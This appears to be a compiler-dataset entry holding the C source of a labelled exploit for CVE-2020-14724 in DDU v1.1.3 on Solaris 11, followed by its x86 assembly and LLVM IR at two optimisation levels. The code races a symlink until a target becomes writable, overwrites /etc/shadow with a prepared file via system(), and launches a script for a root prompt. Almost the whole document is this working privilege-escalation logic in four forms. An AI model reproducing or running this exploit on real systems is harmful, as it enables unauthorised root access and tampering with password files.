#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ W_OK;
scalar_t__ access(char *, int /*<<< orphan*/);
int /*<<< orphan*/ art();
int /*<<< orphan*/ exit(int /*<<< orphan*/);
int /*<<< orphan*/ printf(char *, ...);
int symlink(char *, char *);
int system(char *);
int /*<<< orphan*/ update_shadow();
int main(int argc, char **argv) {
  int error = 0;
  if (argc < 3) {
    printf("Missing arguments! from -> to link\n");
    exit(0);
  }
  printf("[+]     Exploit for DDU v1.1.3 Solaris 11  CVE-2020-14724    "
         "[+]\nLarry W. Cashdollar\nKeeping a symlink from %s to %s\n",
         argv[2], argv[1]);
  while (1) {
    error = symlink(argv[2], argv[1]);
    if (error != 0) {
      printf("Error: symlink() returned %d\n", error);
      exit(0);
    }
    if (access(argv[2], W_OK) == 0) {
      printf("Success! %s is writable\n\nHere have a kitten\n", argv[2]);
      art();
      printf("Greetz to hackerfantastic, mudge, vladz, d1rtdiggler, respeto, "
             "indoushka, r00t, cDc, quine, x, dethveggie, dildog\n");
      printf("Ok, lets get a root prompt\n");
      if (!update_shadow()) {
        printf(
            "Eewwww something went wrong! Check the status of /etc/shadow\n");
        exit(0);
      }
      error = system("cp /tmp/myshadow /etc/shadow");
      error = system("./login.exp");
      if (error != 0) {
        printf("Meh, automated root prompt failed - error from system()\n");
      }
      exit(0);
    }
  }
  return (0);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0x0,-0x14(%rbp)
cmpl   $0x3,-0x8(%rbp)
jge    11ac <main+0x3c>
lea    0xe62(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
xor    %edi,%edi
call   1090 <exit@plt>
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rsi
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdx
lea    0xe61(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rdi
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rsi
call   1060 <symlink@plt>
mov    %eax,-0x14(%rbp)
cmpl   $0x0,-0x14(%rbp)
je     1204 <main+0x94>
mov    -0x14(%rbp),%esi
lea    0xea4(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
xor    %edi,%edi
call   1090 <exit@plt>
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rdi
mov    0x2dd5(%rip),%rax
mov    (%rax),%esi
call   1070 <access@plt>
cmp    $0x0,%rax
jne    12bf <main+0x14f>
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rsi
lea    0xe85(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    $0x0,%al
call   1080 <art@plt>
lea    0xe9d(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xf02(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    $0x0,%al
call   1030 <update_shadow@plt>
cmp    $0x0,%eax
jne    1282 <main+0x112>
lea    0xf00(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
xor    %edi,%edi
call   1090 <exit@plt>
lea    0xf29(%rip),%rdi
call   1040 <system@plt>
mov    %eax,-0x14(%rbp)
lea    0xf37(%rip),%rdi
call   1040 <system@plt>
mov    %eax,-0x14(%rbp)
cmpl   $0x0,-0x14(%rbp)
je     12b8 <main+0x148>
lea    0xf2a(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
xor    %edi,%edi
call   1090 <exit@plt>
jmp    11ca <main+0x5a>

x86 assembly (clang, -O2):
<main>:
push   %r14
push   %rbx
push   %rax
cmp    $0x2,%edi
jg     119c <main+0x1c>
lea    0x105c(%rip),%rdi
call   1030 <puts@plt>
xor    %edi,%edi
call   10a0 <exit@plt>
mov    %rsi,%rbx
mov    0x8(%rsi),%rdx
mov    0x10(%rsi),%rsi
lea    0xe52(%rip),%rdi
xor    %eax,%eax
call   1060 <printf@plt>
mov    0x2e2c(%rip),%r14
nopl   0x0(%rax)
mov    0x8(%rbx),%rsi
mov    0x10(%rbx),%rdi
call   1070 <symlink@plt>
test   %eax,%eax
jne    122a <main+0xaa>
mov    0x10(%rbx),%rdi
mov    (%r14),%esi
call   1080 <access@plt>
test   %rax,%rax
jne    11c0 <main+0x40>
mov    0x10(%rbx),%rsi
lea    0xea7(%rip),%rdi
xor    %eax,%eax
call   1060 <printf@plt>
xor    %eax,%eax
call   1090 <art@plt>
lea    0xee8(%rip),%rdi
call   1030 <puts@plt>
lea    0xf4e(%rip),%rdi
call   1030 <puts@plt>
xor    %eax,%eax
call   1040 <update_shadow@plt>
test   %eax,%eax
jne    1241 <main+0xc1>
lea    0xf52(%rip),%rdi
jmp    1190 <main+0x10>
lea    0xe45(%rip),%rdi
mov    %eax,%esi
xor    %eax,%eax
call   1060 <printf@plt>
xor    %edi,%edi
call   10a0 <exit@plt>
lea    0xe79(%rip),%rdi
call   1050 <system@plt>
lea    0xe8a(%rip),%rdi
call   1050 <system@plt>
test   %eax,%eax
je     1269 <main+0xe9>
lea    0xf50(%rip),%rdi
call   1030 <puts@plt>
xor    %edi,%edi
call   10a0 <exit@plt>

LLVM IR (-O0):
@.str = [36 x i8] c"Missing arguments! from -> to link\0A\00"
@.str.1 = [118 x i8] c"[+] Exploit for DDU v1.1.3 Solaris 11 CVE-2020-14724 [+]\0ALarry W. Cashdollar\0AKeeping a symlink from %s to %s\0A\00"
@.str.2 = [30 x i8] c"Error: symlink() returned %d\0A\00"
@W_OK = global i32 0
@.str.3 = [45 x i8] c"Success! %s is writable\0A\0AHere have a kitten\0A\00"
@.str.4 = [115 x i8] c"Greetz to hackerfantastic, mudge, vladz, d1rtdiggler, respeto, indoushka, r00t, cDc, quine, x, dethveggie, dildog\0A\00"
@.str.5 = [28 x i8] c"Ok, lets get a root prompt\0A\00"
@.str.6 = [62 x i8] c"Eewwww something went wrong! Check the status of /etc/shadow\0A\00"
@.str.7 = [29 x i8] c"cp /tmp/myshadow /etc/shadow\00"
@.str.8 = [12 x i8] c"./login.exp\00"
@.str.9 = [57 x i8] c"Meh, automated root prompt failed - error from system()\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i32 0, i32* %6
%7 = load i32, i32* %4
%8 = icmp slt i32 %7, 3
br i1 %8, label %9, label %12
9: ; preds = %2
%10 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([36 x i8], [36 x i8]* @.str, i64 0, i64 0))
%11 = call i32 @exit(i32 0)
unreachable
12: ; preds = %2
%13 = load i8**, i8*** %5
%14 = getelementptr inbounds i8*, i8** %13, i64 2
%15 = load i8*, i8** %14
%16 = load i8**, i8*** %5
%17 = getelementptr inbounds i8*, i8** %16, i64 1
%18 = load i8*, i8** %17
%19 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([118 x i8], [118 x i8]* @.str.1, i64 0, i64 0), i8* %15, i8* %18)
br label %20
20: ; preds = %12, %63
%21 = load i8**, i8*** %5
%22 = getelementptr inbounds i8*, i8** %21, i64 2
%23 = load i8*, i8** %22
%24 = load i8**, i8*** %5
%25 = getelementptr inbounds i8*, i8** %24, i64 1
%26 = load i8*, i8** %25
%27 = call i32 @symlink(i8* %23, i8* %26)
store i32 %27, i32* %6
%28 = load i32, i32* %6
%29 = icmp ne i32 %28, 0
br i1 %29, label %30, label %34
30: ; preds = %20
%31 = load i32, i32* %6
%32 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str.2, i64 0, i64 0), i32 %31)
%33 = call i32 @exit(i32 0)
unreachable
34: ; preds = %20
%35 = load i8**, i8*** %5
%36 = getelementptr inbounds i8*, i8** %35, i64 2
%37 = load i8*, i8** %36
%38 = load i32, i32* @W_OK
%39 = call i64 @access(i8* %37, i32 %38)
%40 = icmp eq i64 %39, 0
br i1 %40, label %41, label %63
41: ; preds = %34
%42 = load i8**, i8*** %5
%43 = getelementptr inbounds i8*, i8** %42, i64 2
%44 = load i8*, i8** %43
%45 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([45 x i8], [45 x i8]* @.str.3, i64 0, i64 0), i8* %44)
%46 = call i32 (...) @art()
%47 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([115 x i8], [115 x i8]* @.str.4, i64 0, i64 0))
%48 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([28 x i8], [28 x i8]* @.str.5, i64 0, i64 0))
%49 = call i32 (...) @update_shadow()
%50 = icmp ne i32 %49, 0
br i1 %50, label %54, label %51
51: ; preds = %41
%52 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([62 x i8], [62 x i8]* @.str.6, i64 0, i64 0))
%53 = call i32 @exit(i32 0)
unreachable
54: ; preds = %41
%55 = call i32 @system(i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.7, i64 0, i64 0))
store i32 %55, i32* %6
%56 = call i32 @system(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.8, i64 0, i64 0))
store i32 %56, i32* %6
%57 = load i32, i32* %6
%58 = icmp ne i32 %57, 0
br i1 %58, label %59, label %61
59: ; preds = %54
%60 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([57 x i8], [57 x i8]* @.str.9, i64 0, i64 0))
br label %61
61: ; preds = %59, %54
%62 = call i32 @exit(i32 0)
unreachable
63: ; preds = %34
br label %20
}

LLVM IR (-O2):
@.str.1 = [118 x i8] c"[+] Exploit for DDU v1.1.3 Solaris 11 CVE-2020-14724 [+]\0ALarry W. Cashdollar\0AKeeping a symlink from %s to %s\0A\00"
@.str.2 = [30 x i8] c"Error: symlink() returned %d\0A\00"
@W_OK = global i32 0
@.str.3 = [45 x i8] c"Success! %s is writable\0A\0AHere have a kitten\0A\00"
@.str.7 = [29 x i8] c"cp /tmp/myshadow /etc/shadow\00"
@.str.8 = [12 x i8] c"./login.exp\00"
@str = [114 x i8] c"Greetz to hackerfantastic, mudge, vladz, d1rtdiggler, respeto, indoushka, r00t, cDc, quine, x, dethveggie, dildog\00"
@str.10 = [27 x i8] c"Ok, lets get a root prompt\00"
@str.11 = [61 x i8] c"Eewwww something went wrong! Check the status of /etc/shadow\00"
@str.12 = [56 x i8] c"Meh, automated root prompt failed - error from system()\00"
@str.13 = [35 x i8] c"Missing arguments! from -> to link\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = icmp slt i32 %0, 3
br i1 %3, label %4, label %7
4: ; preds = %2
%5 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([35 x i8], [35 x i8]* @str.13, i64 0, i64 0))
%6 = tail call i32 @exit(i32 0)
unreachable
7: ; preds = %2
%8 = getelementptr inbounds i8*, i8** %1, i64 2
%9 = load i8*, i8** %8
%10 = getelementptr inbounds i8*, i8** %1, i64 1
%11 = load i8*, i8** %10
%12 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([118 x i8], [118 x i8]* @.str.1, i64 0, i64 0), i8* %9, i8* %11)
br label %13
13: ; preds = %21, %7
%14 = load i8*, i8** %8
%15 = load i8*, i8** %10
%16 = tail call i32 @symlink(i8* %14, i8* %15)
%17 = icmp eq i32 %16, 0
br i1 %17, label %21, label %18
18: ; preds = %13
%19 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([30 x i8], [30 x i8]* @.str.2, i64 0, i64 0), i32 %16)
%20 = tail call i32 @exit(i32 0)
unreachable
21: ; preds = %13
%22 = load i8*, i8** %8
%23 = load i32, i32* @W_OK
%24 = tail call i64 @access(i8* %22, i32 %23)
%25 = icmp eq i64 %24, 0
br i1 %25, label %26, label %13
26: ; preds = %21
%27 = load i8*, i8** %8
%28 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([45 x i8], [45 x i8]* @.str.3, i64 0, i64 0), i8* %27)
%29 = tail call i32 (...) @art()
%30 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([114 x i8], [114 x i8]* @str, i64 0, i64 0))
%31 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([27 x i8], [27 x i8]* @str.10, i64 0, i64 0))
%32 = tail call i32 (...) @update_shadow()
%33 = icmp eq i32 %32, 0
br i1 %33, label %34, label %37
34: ; preds = %26
%35 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([61 x i8], [61 x i8]* @str.11, i64 0, i64 0))
%36 = tail call i32 @exit(i32 0)
unreachable
37: ; preds = %26
%38 = tail call i32 @system(i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.7, i64 0, i64 0))
%39 = tail call i32 @system(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.8, i64 0, i64 0))
%40 = icmp eq i32 %39, 0
br i1 %40, label %43, label %41
41: ; preds = %37
%42 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([56 x i8], [56 x i8]* @str.12, i64 0, i64 0))
br label %43
43: ; preds = %41, %37
%44 = tail call i32 @exit(i32 0)
unreachable
}